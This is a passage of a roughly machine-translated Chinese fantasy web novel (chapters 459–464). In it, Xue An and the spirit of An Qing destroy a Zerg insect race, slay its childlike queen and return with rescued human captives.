    An Qing''s eye circles were red again, she raised her head to look at the sky where there was always a round of demon moon, and looked down at the big hole on the ground that Xue An had hit.


    "Brother-in-law, this is the underworld, right, you must be worried about me, so come and see me, right? It must be so! Oh, look at me a few more times, I guess you will never see again in the future I am..."


    Xue An really couldn''t bear it, and squeezed An Qing''s cheek hard, and said helplessly: "Could you not be so rich in imagination, who said you are dead?"


    "Then what''s going on?" An Qing stretched out her finger again and directly passed through Xue An''s shoulder.


    "That''s because you are a soul now, so naturally you can''t touch the real thing."


    "Isn''t that dead? Oh, elder sister, my hard-working elder sister, younger sister will never see you again...!"


    "..."


    After Xue An explained the matter in detail.


    An Qing said in a bit of astonishment: "Really? Are you lying to me?"


    Xue An nodded, "Of course it is true! This monster delusionally wants to swallow your soul, but it doesn''t even know it. I also left a talisman on your soul. This swallowing just inspired the talisman and then Wiped it out."


    An Qing''s face full of tears gradually showed a big smile, "Hahaha, I''m not dead! My mother is not dead! Dead bugs, have you seen it? You can''t help my mother!"


    Xue An looked at An Qing with his hands on his hips, and he covered his eyes with some speechlessness.


    Although An Qing was arrogant at the beginning, she still paid attention to her image of a lady.


    Why did you follow the Fire Phoenix team for several missions, and it turned out to be like this?


    It seems that she will have to stay in the army less in the future. Xue An thought to himself.


    At this time, An Qing pointed to the corpse of the insect on the ground, "Huh, get up with the skills, now have a fight with my old mother to see who is good!"


    Following An Qing''s words, the incomplete flesh and blood of the monster worms on the ground suddenly moved, and then they wriggled and merged.


    An Qing was taken aback, jumped directly behind Xue An, and said in a trembled voice: "Alive! These monsters are alive again!"


    Xue An also raised his eyebrows slightly, strangely, that butterfly was already dead.


    How come these monsters will die and resurrect?


    Just when Xue An was ready to do it.


    Seeing these monster corpses merged into a powerful flesh and blood giant, but this giant did not have the slightest murderous aura, but lowered his head towards An Qing, as if waiting for something.


    An Qing slowly poked her head out from behind Xue An.


    "Hey, what''s the matter? Why do I think this big guy is surrendering to me?" An Qing said suspiciously.


    Xue An laughed slowly, then rubbed An Qing''s head, "Silly girl, you seem to be a blessing in disguise!"


    Xue An was right.


    Because An Qing absorbed Huang Quan''s soul fragments, An Qing now has Huang Quan''s talent, which can enhance the Zerg''s abilities and even bring it back to life.


    Of course, these zergs will also unconditionally surrender to An Qing.


    When Xue An told An Qing, An Qing couldn''t believe it at first, but when she tentatively landed on the shoulders of the flesh and blood giant, she was finally convinced that what Xue An said was true.


    The flesh and blood giant obviously obeyed An Qing''s words.


    "Haha! This girl is simply a genius!" An Qing danced for a while, then said with a smile: "Brother-in-law, what should I do next? Go back?"


    Xue An smiled faintly, a thought suddenly appeared in his heart.


    "Don''t worry, we have to completely clean up this world and eliminate all the troubles, let''s go back!"


    "it is good!"


    And at this time.


    main city.


    Outside the Zerg Temple.


    Dozens of humanoid zergs are whispering about something.


    "It''s not good to be a teacher in this conquest of the world. It has already damaged several adults!"


    "Yes! And the news that I just received, even Master Huang Quan was beheaded a clone!"


    "What? Lord Huang Quan couldn''t conquer the world without any shots? Doesn''t it mean that the world is lacking in spiritual energy and is already a Jedi?"


    "Who knows!"


    "The Queen hasn''t showed up for several days. What''s the matter?"


    These zergs are discussing.


    A flying beetle rushed in and fell on the ground, and said in a deep voice: "The news that I just received, Huangquan deputy has been killed, and Lord Huangquan has died!"


    boom!


    This news shocked all these advanced Zerg.


    "How is it possible? Is this news accurate?"


    Flying Beetle nodded, "It''s true!"


    "Who did that?"


    "According to reliable sources, it seems to be a man from the world!"


    "One person!" a Zerg asked incredulously Yes, just one person! "


    At this time, these high-level zergs looked at each other and saw the shock in each other''s eyes.


    "I said long ago that although the world has fallen, it is a place where countless earth-shattering figures have appeared after all. We shouldn''t provoke them!" An elderly Zerg began to complain.


    "We have to report this matter to the Queen immediately!"


    "I don''t know what''s going on with the Queen, she even disconnected from our soul!"


    At this moment, there was a violent tremor in the Zerg Race Temple, and an unimaginable aura spread out.


    These high-level zergs shook together, then crawled to the ground, shivering.


    The old Zerg cried with excitement.


    "My Queen... has transformed again!"

 Chapter 460： Summon the Swarm

    A majestic voice rang in the minds of these zergs.


    "A powerful enemy is approaching, immediately summon all the insect swarms!"


    These advanced zergs crawled on the ground and replied respectfully: "Yes!"


    The queen returned, and news of calling the swarm spread quickly.


    For a while, the entire Zerg Secret Realm began to become restless.


    At this time, Xue An and An Qing were on their way to the main city of the Zerg.


    An Qing sat on the shoulders of the flesh and blood giant made up of the corpses of the Zerg, her face full of excitement.


    "Brother-in-law, is this Zerg queen good?"


    "It should be okay!" Xue An raised his head and looked at the flying Zerg dragon flying above the sky, and said lightly.


    "Hey, I think I''m so good now, then I will help my brother-in-law deal with this Zerg queen together!" An Qing said with a grin.


    Xue An smiled and did not speak.


    At this time, they were in a series of mountains. Because this secret realm had no sunlight, only the eternal moonlight, the trees and plants in these mountains were very different from the earth.


    Xue An flew slowly in the sky.


    Originally, Xue An was going to fly to the main city with An Qing, but as a result, the Zerg queen went back.


    But An Qing was reluctant to part with her flesh and blood giant, and had to go on the road together.


    Xue An thought for a while and agreed.


    Xue An knew very well that the Zerg queen must have known her appearance by now. The flying dragon in the sky was an example.


    Fortunately, when you have assembled the swarm, I will clean up you together!


    With this idea, Xue An rushed to the main city slowly.


    At this time, the flesh and blood giant pushed aside a lush evening primrose, and a small river suddenly appeared in front of him.


    And beside the river, a group of people in rags gathered.


    After seeing An Qing''s flesh and blood giant, these people all looked desperate.


    Some were timid, even kneeling directly on the ground.


    "Hey, there are people here!" An Qing said in surprise.


    "You **** bugs, take your life!"


    One of the group of people who seemed to be the leader suddenly took out a pistol and fired several shots at An Qing.


    Before An Qing could react.


    As soon as the flesh and blood giant under the seat raised his arm, all these bullets were embedded in the giant''s skin.


    The man yelled desperately, "You have the ability to kill me! You **** bugs, we humans will never give in!"


    An Qing was a little unsure, so "Brother-in-law, what are they talking about?"


    Xue An fell from the sky, looked at the group of people, and said lightly: "Earth people?"


    These people obviously did not expect a person to fall from the sky, and then the leading man asked tentatively: "Are you... a human or a bug?"


    At this time, An Qing slapped the flesh and blood giant on the shoulder, and the giant slowly squatted down, and then An Qing jumped down from above, "Nonsense, of course we are just fakes!"


    The man was still a little suspicious when he heard the words. A girl behind him suddenly pointed to An Qing''s feet and trembled: "She...her feet!"


    Everyone looked down.


    Seeing An Qing floating in the air without touching her feet, it was so weird and weird.


    These people all turned pale.


    An Qing said with some embarrassment: "Ah, I am a soul now, I''m sorry, I scared you!"


    "So, you are really human?"


    An Qing nodded.


    The group of people finally took a breath.


    "Sorry, I thought it was your **** bugs!" The man apologized.


    For them, even if An Qing is a soul, it is better than a bug.


    "This is..." An Qing asked.


    The man smiled bitterly, "My name is Zu Tianle, we are all caught by the Zerg!"


    "Zerg caught it?"


    "Yes!"


    In the ensuing conversation, An Qing learned that this Zu Tianle was actually a shooting coach, and the people behind him were all from China.


    Among them are students at school, small white-collar workers in the company, doctors, teachers...


    In short, people from all walks of life have.


    And the biggest thing these people have in common is that they all stayed in Dianzhou before they came to this world inexplicably.


    Zu Tianle smiled bitterly at this time and said: "We just started with hundreds of people, but after a few days of hunting and killing by the Zerg, now there are only twenty or thirty of us!"


    In just a few days, ordinary people like them who have never experienced life and death have seen what cruelty is.


    The companion who had just laughed and laughed was killed in a blink of an eye.


    The so-called civilization is simply vulnerable to these powerful Zerg.


    Had it not been for Zu Tianle carrying a training shooting pistol and dozens of bullets, they would have collapsed.


    Even so, they are now on the verge of collapse.


    Hiding in these mountains is nothing more than just being out of touch.


    Unexpectedly, when they fell into complete despair, Xue An and An Qing would suddenly appear.


    Xue An already understood what was going on at this time.


    No wonder there are still human beings in this secret realm that is absolutely unsuitable for human survival.


    It turns out that they all came through the gaps in space.


    In this way, the original Dianzhou must have a close connection with this zerg secret realm, otherwise it would not be sealed and still allow mortals to enter it.


    "What are you going to do?" Zu Tianle''s heart was full of curiosity and doubt at the moment.


    A human woman��s soul carries a Zerg giant, and a human man can fly.


    Such a combination is indeed a bit confusing.


    An Qing said with a smile, "I will follow my brother-in-law to destroy the Zerg!"


    "Destroy... the Zerg?" Zu Tianle thought he had heard it wrong.


    "Yes!"


    Zu Tianle smiled bitterly, "Two of you, it seems that you are very capable, but the number of this zerg is almost countless How can you two be able to eliminate it?"


    "Who said that they should be wiped out one by one, and kill the damned Zerg queen?" An Qing said carelessly.


    Zu Tianle still couldn''t believe it. After hesitating for a while, he couldn''t help but say: "How do you... all come in?"


    "I was caught by the Zerg, and my brother-in-law came in to save me!"


    Zu Tianle turned his gaze to Xue An, "This gentleman..."


    "Hush!" Xue An made a silent gesture, and then said lightly: "A swarm of insects passed by."


    Zu Tianle and the others were taken aback for a moment, and their expressions changed greatly, because they also felt the tremors of the ground.


    The worst of their deaths and injuries was when they encountered a wave of small insects.


    Judging from the momentum this time, the scale of the insect swarm is obviously larger.


    An Qing became excited, "Brother-in-law, let me come this time!"

 Chapter 461： What a big cricket!

    This wave of insect swarms is so huge that you can''t even see the edge at a glance.


    The speed is so fast that it spreads like a flood.


    No grass grows wherever he goes.


    Zu Tianle and others all turned pale when they saw this.


    Those girls were even scared to cry.


    After all, such a scene is too scary for them.


    An Qing''s eyes shined.


    For her now, the least fear is that there are many bugs.


    An Qing hooked slightly, and the flesh and blood giant leaned down.


    "Big guy, give me... Eat them all!"


    The flesh giant nodded silently, stood up and ran towards the swarm.


    boom.


    The torrent of insects seemed to have encountered an upright Tianzhu. Although the torrent was fierce, it could not shake the Tianzhu.


    At the same time, the flesh and blood giant bent over, opened his huge palm, and grabbed hundreds of monsters directly in the palm of his hand, and then shook it hard.


    These Zerg screams, their lives are crushed to pieces by the giant.


    Then the giant opened his mouth and threw the crumpled flesh and blood directly into it.


    In an instant, the giant''s body seemed to be huge again.


    And this scene full of violent beauty made Zu Tianle and others look stupid.


    Once upon a time, they were like helpless lambs when they faced the Zerg.


    But until today, the arrogant and cruel Zerg has become the food of this giant.


    Between a drink and a peck, Zu Tianle and others couldn''t help tearing their eyes.


    Some people trembled with excitement.


    To them, these **** bugs are unshakable enemies.


    The Flesh Giant ate a few more flesh and blood like this. It seemed that it wasn''t enough to be enjoyable. He roared, his hands and arms changed directly into a giant shovel, just like patting insects, he slapped these zergs to death, then shoveled them up and threw them into his mouth.


    But for a moment.


    It seemed that the menacing insect swarm was mostly wiped out by the giant.


    The rest seemed to shrink a little.


    At this moment, I saw a giant praying mantis flying in the distance, and after seeing the appearance in the field, he couldn''t help but roar a few times.


    "What the **** is this! I dare to slaughter my insect swarm!"


    As he said, this giant praying mantis turned into a middle-aged man with a gloomy face, and came straight to the flesh and blood giant.


    Click.


    A light flashed.


    The claw blade of the giant praying mantis directly chopped off the head of the flesh giant.


    But it hasn''t waited for it to be proud.


    An Qing called out, "Big guy, eat it!"


    Before the mantis heard the shout, the giant''s two hands grabbed it directly.


    "What''s going on! Didn''t all the heads fall off? Why are they not dead!" Mantis said angrily, struggling hard.


    I saw the flesh and blood on the giant''s neck squirming, and then a head grew out.


    "No..." The mantis was scared to death.


    Because it just felt the breath of Huangquan.


    "You are Huang Quan!"


    It''s a pity that as soon as its voice fell, the giant suddenly tried hard.


    With a click.


    It''s like crushing an egg.


    The praying mantis was crushed to pieces.


    Light green blood oozes out.


    Until this time, the praying mantis hadn''t died, "Don''t..."


    But the giant ignored its begging for mercy and threw it directly into his mouth.


    The scream of the praying mantis became weaker and quieter in the sound of chewing.


    Following its tragic death, the remaining swarms wanted to escape.


    And the giant who ate the mantis swelled again, and then raised his hand, a light green knife shred all these zergs.


    It is the light of the cheating blade of the mantis.


    At this point, but the scene of a cup of tea, the swarm of insects that came aggressively was completely wiped out.


    Zu Tianle and others looked at this scene stupidly, and finally believed that An Qing''s just talking about eliminating the zerg was no joke.


    "Brother-in-law, how is it?" An Qing said with a proud face.


    Xue An nodded, "Not bad!"


    "Hehe, this big guy is getting better and better!" An Qing said, turning back to Zu Tianle and the others.


    "We are ready to eliminate the Zerg Queen, do you want to follow along together?"


    Zu Tianle and the others looked at each other. After a while, Zu Tianle gritted his teeth, "Okay!"


    At this moment, the main city of the Zerg has become a battlefield.


    Almost the entire flock of insects gathered here.


    For them, the Queen''s order is an irresistible destiny.


    And those high-level zergs also gathered together.


    "After the Queen''s transformation this time, her aura has become more and more unfathomable!" said a high-ranking zerg.


    "Yes! The more powerful the Queen, the more prosperous our swarm!"


    "Hehe, it''s ridiculous that the strong human race from this world actually thinks that we can destroy our Zerg tribe by himself?"


    "Don''t underestimate the enemy, this person killed Huang Quan after all!"


    "Hehe, what Huang Quan is best at is assisting, not fighting. Didn''t you see that even the most powerful Lord Cricket under the Queen''s Seat is here!"


    Many Zergs couldn''t help but cast their sights on the highest Zerg.


    If Xue An was here, he would definitely exclaim.


    What a big cricket.


    That''s right, this cricket is just a cricket.


    But this cricket is known for being brave and combative.


    Among the Zergs, the cricket is also the number one polemic.


    Even things like the poisonous scorpion spider king have to bow down.


    At this moment, the cricket''s eyes flickered.


    Since then, the main city has a sunny view, but it has not been summoned by the queen.


    In fact, not only it, all the Zerg were not summoned.


    What is the Queen now?


    From time to time, Cricket cast his eyes on the Zerg Temple.


    "Master Cricket, these are the few human races who have just entered this room by mistake, please enjoy!" a huge beetle said respectfully.


    Behind it were a few men and women with terrified expressions.


    "What are you going to do? Where is it? I see, you must be shooting a tricky variety show, right? I tell you, I am very angry now, let me go quickly, or I must sue you for illegal imprisonment!" The man with yellow hair said angrily.


    Cricket stretched out his hand and directly dragged the man over, and his wings joined together.


    Accompanied by the numb chewing sound, the man screamed.


    "Ah...you demons...you..."


    The scream stopped abruptly, because the cricket had eaten him whole, and then slapped his lips, shook his head somewhat dissatisfied.


    "The taste is average!"


    Then he looked up at the remaining men and women.


    These men and women were so scared that they were going to collapse.


    In their eyes, they just slept, and finally came to this ghost place as soon as they opened their eyes, and then saw so many weird things.


    And the death of the man just now made this group of people even more aware that this was not a tricky game, but real.


    "Eat you this time!" As soon as the cricket stretched out his hand, a girl who looked no more than fourteen or five years old in school uniform was arrested.

 Chapter 462： Struggle, fear

    The girl screamed in fright, trembling all over, "Don''t...!" At the same time, she struggled hard, trying to break free from the control of the cricket.


    But how could her strength be a cricket''s opponent.


    The cricket''s cold compound eyes were full of the pleasure of mocking the prey.


    "Struggle, fear, the more you do this, the more delicious your meat will be!"


    As he said, a stabbing blade swept across.


    There was a wound on the girl''s back, and the blood flowed out instantly, making her tremble with pain.


    Many high-level zergs burst into laughter upon seeing this.


    "Master Cricket can still play!"


    "Tsk tut, I learned another trick. I will do this when I have fresh prey in the future!"


    The cricket grinned, his wings slowly closed, ready to eat.


    Just at this time. There was a tender voice full of anger.


    "You **** bugs! Let go of her!"


    Cricket was taken aback for a moment, then turned to look.


    I saw the sky in the distance, and a giant was running in stride.


    The shouting was a human girl sitting on the shoulder of the giant.


    After a dazed effort, the giant was about to run closer.


    Cricket shouted coldly: "Stop him!"


    boom!


    Countless zergs swarmed in, the number was so large that they were even stacked a dozen meters high, and then they rushed towards the giant.


    An Qing stood on the shoulder of the giant, watching this scene, her scalp felt a little numb.


    After traveling all the way, she finally arrived at the main city of the Zerg.


    Because of the strength of the soul, An Qing''s current perception has greatly increased, so I just saw what the cricket was doing from a distance, and couldn''t restrain the anger in his heart. He just yelled and rushed over.


    "Big guy, can you beat it?" An Qing said softly.


    The giant remained silent, but suddenly raised his fists, then slammed them down.


    boom.


    Two pits were smashed into the ground.


    The Zergs within a radius of tens of meters were all shattered by this shock.


    Then the giant sucked suddenly, and these zerg fragments were all absorbed.


    This scene made the cricket pale in shock.


    "This...what''s going on?"


    An Qing was determined at this moment, a light smile appeared at the corner of her mouth, and she hooked at the cricket.


    "Monster, come and die!"


    Cricket''s compound eyes were filled with cold light.


    At the same time, the queen''s majestic voice sounded.


    "Not only did you kill Huang Quan, but you also swallowed its talent?"


    The queen''s voice reminded the cricket, and it finally understood why An Qing was familiar with it.


    "Stop talking nonsense, grandma, I am here to kill you evildoers! Big guys, eat them all!" An Qing is now bold and bold with this giant as his backing, naturally fearless.


    Following her instructions, the giant strode towards the cricket and the Zerg temple.


    Before rushing to the front, a giant beetle rushed over.


    "Success!"


    The charge of the giant beetle is very sharp.


    But when facing the giant of An Qing, it was no different from sending him to death.


    The giant didn''t even evade, and directly took a palm.


    Click.


    This simple-minded giant beetle was directly smashed into powder, and then swallowed.


    As it was swallowed, the giant''s figure became larger and larger, and his momentum also increased.


    Now the giant has become a giant monster with a height of forty to fifty meters.


    Even the cricket was a little frightened when facing it.


    "Go together!" Cricket ordered in a deep voice.


    These high-level zerg races rushed forward, thinking of killing the giant through the worm sea tactics.


    But this flesh and blood giant has no fear of pain at all, even if you bite off a piece of flesh and blood, the flesh and blood around it will squirm, and it will be back to the original.


    But if you get hit by it, it will basically end in death.


    After a few face-to-face encounters, more than a dozen high-level zergs became the giant''s mouthful.


    The cricket is terrified.


    As a Zerg, the higher the cultivation base, the more independent the mind, and the more afraid of death.


    So the cricket quietly weakened the offensive and tried to retreat.


    It does this, and the other higher zergs are not stupid.


    Only some low-level Zergs or newly promoted high-levels dared forward.


    At this time, the Queen''s cold snort came from the minds of Cricket and others.


    "Zergs are never afraid of death! You trash!"


    Cricket and others remained silent.


    Then the queen said in a cold voice: "Twilight is my descendant, and its talent is also given by me. Now it is ridiculous to use my talent to deal with me!"


    Talking.


    An Qing felt that something had been pulled out, and the connection with the giant''s mind was immediately disconnected.


    That''s not the case, the swallowing ability of this giant is immediately unusable.


    "Just now, kill this big man first!" Cricket ordered.


    An Qing stomped in mid-air angrily, "Brother-in-law, don''t you show up yet?"


    Following An Qing''s voice, a chuckle came from the sky, and then a stream of light flew by.


    After stopping his figure, it was Xue An standing with his hands behind.


    Xue An smiled faintly, "I thought you could solve it by yourself!"


    An Qing pursed her lips, "It was almost the same, but the queen has taken back my talent!"


    Xue An smiled slightly, "Okay, leave the rest to me!"


    At this time, all the Zergs looked at Xue An standing in the air.


    And the voice of the queen also came from the temple.


    "Human powerhouse, I am sorry for what happened before, as long as you leave now, I can forget the blame!"


    The crickets and other zerg all looked at each other.


    What''s wrong with the Queen?


    Did you recognize a human race?


    Xue An smiled coldly when he heard the words, "Let''s forget the past? It sounds like I have to be grateful to you!"


    "Human race, don''t think that I am afraid of you! If you are persistent, you will die here today!"


    At this moment, Zu Tianle and others also rushed over.


    Xue An pointed to the rags on the ground, "You killed my human race like a pig and dog, but now you say to me, let the past be forgotten and obsessed with it?"


    "Then what do you want?" The queen''s voice was full of anger.


    "Very short answer!" Xue An took a step, "Exterminate your Zerg"


    boom.


    With Xue An''s step down.


    The earth shook.


    Countless Zerg races were shaken into powder just under this foot.


    Zu Tianle and the others were silly They thought An Qing was the best.


    But I didn''t expect that the man who said few words was the most powerful one.


    One step below.


    More than half of the Zerg killed and injured.


    The queen was furious, "Kill him!"


    Zergs such as crickets are still hesitating.


    A powerful brain wave struck, directly shattering their heads, and then quickly merged into a hideous giant insect.


    The giant still wanted to resist at this time.


    But under the blow of this giant insect, it was bombed to smash.


    "Big guy!" An Qing exclaimed.


    The giant worm turned to look at her, a worm''s leg hit directly.

 Chapter 463： Sword light cage

    A ray of sword light passed by.


    This menacing insect leg was cut off instantly.


    The giant worm roared.


    But before the broken leg fell to the ground, it had grown back.


    Then the giant insect uttered words, grinning and said: "It''s useless, in this world, I am immortal, you can''t kill me at all!"


    Xue An just smiled coldly when he heard the words.


    "Only you... are worthy of being immortal?"


    In the heavens and all realms, there is indeed a mysterious existence similar to the immortal body.


    But these existences are without exception. They either require extremely advanced cultivation bases and harsh conditions, or they must have rare blood.


    Moreover, the immortal body is actually relatively difficult to kill.


    Nothing is truly immortal.


    When Xue An said this, the giant worm roared, "Arrogant human, I want to eat you a little bit!"


    Xue An sighed softly when he heard the words, "It''s really nothing new! Next time you scream, can you think of something new!"


    After all, Xue An raised his fist and blasted out!


    Click.


    Before the giant worm could react, its entire front face was directly dented.


    Then the whole body exploded.


    The stump was mixed with fishy worm blood.


    But in a blink of an eye, they regrouped into a giant insect.


    "I said, I am immortal..."


    Before he could say anything, Xue An flew directly across the sky and hit the top of its head with a punch.


    "Noisy!"


    Click.


    The giant worm was smashed into flesh by Xue Ansheng this time.


    Although the giant insect resurrected again after a while, there was already a trace of fear in Xue An''s eyes.


    Although you can''t die, the taste of being killed is always uncomfortable.


    Xue An was already interested and didn''t give the giant insect a chance to fight back.


    "It''s interesting, I think you can last a few times!"


    With that, the sword qi emerged, directly enveloping the giant insect.


    The rustling sound of flesh and blood being stripped mixed with the roar of giant insects made everyone present a little dumbfounded.


    Especially Zu Tianle and others, even timid, have already knelt on the ground and worshipped.


    For them.


    Xue An''s current methods are close to immortals, and at the same time the Zerg that they hate to kill, is naturally worthy of worship.


    Xue An ignored these.


    Just quietly watching the giant insect covered by sword light.


    Killed, resurrected, killed again, resurrected....


    But in a moment, this giant insect was killed hundreds of times.


    At this time, the speed of its resurrection has obviously slowed down.


    At the same time, the figure has become a lot smaller.


    "No..." The giant insect''s voice was full of panic.


    It never thought that someone would be so overbearing and kill itself so many times.


    An angry voice came from the Zerg Temple, "Human, if you retreat now, I don''t need to pursue it!"


    Xue An said indifferently: "I told you to kill your zerg, so naturally you will do it!"


    With that, the sword light in Xue An''s hand loomed, and in the blink of an eye he formed a huge sword that was hundreds of meters long, and then crashed down.


    "Don''t..." the giant worm shouted in horror.


    It is an aggregation of all the higher zerg races, and naturally also has the fear of death. Now facing this sword full of death, it naturally collapses.


    The giant insects that had just merged separated instantly, and the bodies of the crickets and other insects appeared, and then they wanted to flee frantically.


    It''s too late.


    How can they be faster than swords.


    In an instant, this sword wiped out all the Zerg.


    Although the remnant was still thinking about fusion, every time he tried to merge together, there would be a flicker of sword light, cutting it back into powder.


    Obviously it is impossible.


    Xue An glanced at An Qing.


    An Qingfu reached his heart, and raised his hand, "Big guy!"


    Following her voice, the zerg flesh and blood on the ground began to squirm, and soon formed a flesh and blood giant.


    An Qing opened her eyes and smiled, this time the giant is many times more powerful than before.


    At this time Xue An raised his eyes and looked at the Zerg Temple.


    The Zerg Queen absolutely saw everything that happened just now, but it didn''t show anything, and even its breath disappeared.


    Xue An said indifferently: "You still refuse to come out?"


    As he said, raised his hand and waved it off suddenly.


    Click.


    A sword light that slashed the sky directly cut the Zerg Temple in half.


    But it was empty inside, nothing.


    Xue An frowned slightly, his spirit unfolded, and then smiled coldly, "I want to run now? It''s a pity, it''s too late!"


    After that, Xue An jumped into the air, took a deep breath, and shouted in a deep voice: "Get me...get up!"


    Following his voice, there was a violent shaking of the ground.


    Zu Tianle and the others discovered in horror that the entire Zerg tribe''s main city began to rise slowly.


    This is Xue An who pulled out this piece of land forcibly.


    After a while, the entire Zerg race main city rose into the air, and then Xue An Xu drew a talisman seal.


    "Knot!"


    This Fu Zhuan suddenly released an extremely bright light, and then heard a miserable howl from the ground.


    Then the ground suddenly cracked, and a petite figure flew out of it, turning into a streamer and wanted to run.


    Xue An waved his hand casually, and hundreds of sword lights criss-crossed, directly trapping the figure.


    Then Xue Ancai said lightly: "Do you think you still ran away? Queen of the Zerg."


    Following the voice, everyone, including An Qing, looked at the trapped Zerg queen curiously.


    But from this look, everyone couldn''t help being stunned.


    I saw in the sword light cage, there was a little girl who was only eleven or twelve years old, she was so cute that she was so cute, she even had tears in her eyes. Protect her.


    "My lord, I knew it was wrong!" At this moment, the girl said softly to Xue An.


    The voice is very sweet.


    Zu Tianle and others all showed obsession.


    This little girl is simply too beautiful, and it is obvious that she is not deeply involved in the world when she looks like that.


    Maybe everything she did was just acting on instinct. Zu Tianle and others thought in their hearts.


    Xue An raised his eyebrows slightly and looked at the girl with a smile.


    "Knowing what''s wrong? Knowing what''s wrong?"


    "I shouldn''t send the Zerg to the world, let alone to indulge my subordinates to torture and kill the human race, but for these years I have been sleeping in the temple, and there are many things I can''t do. Please let the lord know!" Of grievances.


    Xue An nodded slightly, "So, everything has nothing to do with you?"


    "My lord, I dare not say that, but please see that I have not done anything wrong with my own hands, and spare my life! I am willing to serve the lord..."


    Xue An shook his head, "Just forget it! As for letting you go..."


    A beam of joy appeared on the face of the Zerg queen, "Thank you, sir, I..."


    Before the words fell, Xue An shook his hand, and the sword light cage suddenly shrank together.


    Jianguang''s fangs interlaced, directly cutting the little girl''s body into pieces.


    Blood splashed under.


    A light of consternation and anger appeared on the little girl''s head, "Why!"


    Xue An stood with his hand in hand, and said lightly: "Do you really think you can survive by pretending to be cute?"

 Chapter 464： An Qing returns

    Cheng Hao lit two cigarettes and gave Sun Ling one.


    At this moment, Sun Ling was wrapped in a bandage, half leaning on the seat of the off-road vehicle, took a deep breath after receiving the smoke, and then coughed violently.


    Cheng Hao said: "How is it?"


    "Don''t worry, you can''t die! Damn, these monsters are really **** good!" Sun Ling took another vicious cigarette.


    The members of Fire Phoenix are silent now.


    An Qing''s body was properly placed on a battlefield emergency vehicle.


    The wounded and sick have also been transferred to the nearest hospital.


    But the people of Fire Phoenix didn''t leave.


    They are here to wait for the instructor to return.


    The atmosphere is somewhat depressing.


    "Captain, do you preach to rescue Antou?" Sun Ling asked suddenly after breathing out the smoke ring.


    Cheng Hao was silent for a moment, then nodded heavily, "Sure!"


    "I also think it''s ok. After all, our instructor is the number one in the world!" Sun Ling said, but his eyes were red, and he lowered his head and said sadly: "But I''m just afraid, I''m afraid that I will return If it��s not coming, can our Fire Phoenix still be called Fire Phoenix?"


    Hearing his words, some people''s eye circles were red.


    Zhou Da was so angry that he thumped his ground with red eyes and roared: "If Antou really has three long and two short, then I must tear up all the bugs!"


    Zhang Chu looked at him enviously.


    He discovered that the Fire Phoenix is ??not only powerful, but the most commendable thing is its strong cohesion.


    Based on this, his blood unicorn is far inferior.


    And this is already the third day Xue An has entered the Zerg Secret Realm.


    During these three days, Commander Hu feared that things might change, and deployed most of the Dianzhou army to guard the surrounding layers.


    Everyone is waiting for the return of Xue An and others.


    An Yan sat in the ambulance on the battlefield, gently holding his sister An Qing''s hand.


    An Qing at the moment, his breathing is weak, and his face is pale, like a dead person.


    Whenever I saw this scene, An Yan wanted to cry.


    In these three days, she recalled a lot.


    I think of the little things in the lives of myself and An Qing.


    I remembered many things I experienced later.


    All these make An Yan heartbroken.


    The two little girls seemed to understand something too, and both sat a little bored with them.


    At this time.


    The earth trembled suddenly.


    Someone exclaimed: "Look, something is moving in that mountain."


    Everyone hurriedly looked up.


    He saw black energy surge in the Chongxian Mountain that was cut by Xue An''s sword.


    After a while, many people suddenly walked out of it.


    "All alert!"


    All the sergeants pointed their guns at the group of people who came out, and as long as they gave an order, they would pull the trigger without hesitation, and drown these people with intensive bullet rain.


    These people who came out saw so many soldiers, and there were complicated expressions on their faces.


    There are sighs of being human in two lives, and there are also fears and trepidations.


    "Don''t shoot, we are all human!" Zu Tianle shouted with his hands high.


    Ok?


    Everyone was shocked.


    Zhang Chu pointed to the sword, tapped his eyebrows lightly, then opened his eyes and checked it carefully before exhaling.


    "It''s all people! Don''t shoot!"


    But many people still have some doubts.


    How come there are so many people?


    Zu Tianle and the others came forward, and someone searched them carefully, but found no abnormalities.


    Then Cheng Hao asked, "Why did you come out of the insect world?"


    Zu Tianle smiled bitterly, and pointed to his dozens of people, "We are all earthlings, and we didn''t know what was going on and we got into that ghost place! Fortunately, we can only come back if the gods take action!"


    "immortal?"


    "Yes!" Zu Tianle said everything he saw and heard inside.


    After hearing that An Qing was safe and sound, and followed Xue An to destroy the Zerg Queen.


    Everyone in the Fire Phoenix breathed a sigh of relief.


    "I''ll just say, the instructor is an immortal, there will never be anything wrong!" Sun Ling said joyfully.


    "The **** is actually your instructor?" Zu Tianle was a little unbelievable.


    Cheng Hao was also in a good mood and couldn''t help nodding, "Yes! Why did you come out? Where is our instructor?"


    "The **** fairy said that he wants to wipe out all the Zerg in that ghost place before coming out. Let us go first, but I guess it''s almost the same now!"


    As he was talking, he saw the thick black fog suddenly spread.


    Then a huge leg stepped out.


    This leg is as thick as a pier on a bridge.


    When everyone was shocked, the entire flesh and blood giant appeared.


    The seventy or eighty-meter-high giant drew bursts of exclamation from the surrounding people.


    Some timid soldiers couldn''t even grasp the gun firmly.


    After all, this scene is too terrifying.


    Then I saw the giant slowly squatting down, and then leaning down.


    At this time everyone discovered that the one sitting on the shoulder of the giant was An Qing.


    An Qing jumped down.


    He smiled and nodded at the crowd, "Everyone, I''m back!"


    Many people are like seeing a ghost.


    Because An Qing''s behavior and movements are no different from ordinary people.


    But her body was obviously still lying on the ambulance, and now this should be An Qing''s soul.


    Shouldn''t the soul be light and fluttering like transparent?


    What''s going on?


    At this time, a streamer flashed, and Xue An appeared in the field.


    "Instructor!" Cheng Hao and others hurriedly bowed their heads to salute.


    Xue An nodded slightly.


    At this time, An Yan also rushed. Although she was a little surprised after seeing An Qing, she rushed forward and hugged her with tears.


    "Silly Qinger, you scared sister to death!"


    An Qing was also a little sad, but she hurriedly said with relief: "Okay, sister, isn''t I all right now! And my brother-in-law said I was a blessing in disguise!"


    "A blessing in disguise?"


    "Yes! Didn''t you see that my soul is like ordinary people?" An Qing said with a grin.


    Not long ago, in the Zerg Secret Realm, Xue An trapped the Zerg queen who was trying to escape and then beheaded it.


    But the Zerg Queen is firmly bound to the Zerg Secret Realm, even if you kill it then, it will be resurrected in that world soon.


    This is why it has no fear.


    But it did not expect that Xue An directly asked An Qing to absorb the shards of its beheaded soul.


    This completely cut off the possibility of its rebirth and at the same time gave An Qing a great benefit.


    The soul condensed as if it is real is just one of them.


    The current An Qing actually inherited the talent of the Zerg queen.


    As long as she is willing, then she can also develop a swarm of insects.


    It''s just that An Qing doesn''t have a cold about it, and she doesn''t want to be with bugs all day long.


    "What about Qing''er''s body?" An Yan asked.


    Xue An smiled slightly, "No matter how true the soul is, it is not as good as her own body. Naturally, let her recover her body!"


    When An Qing''s soul is attached to her body again.


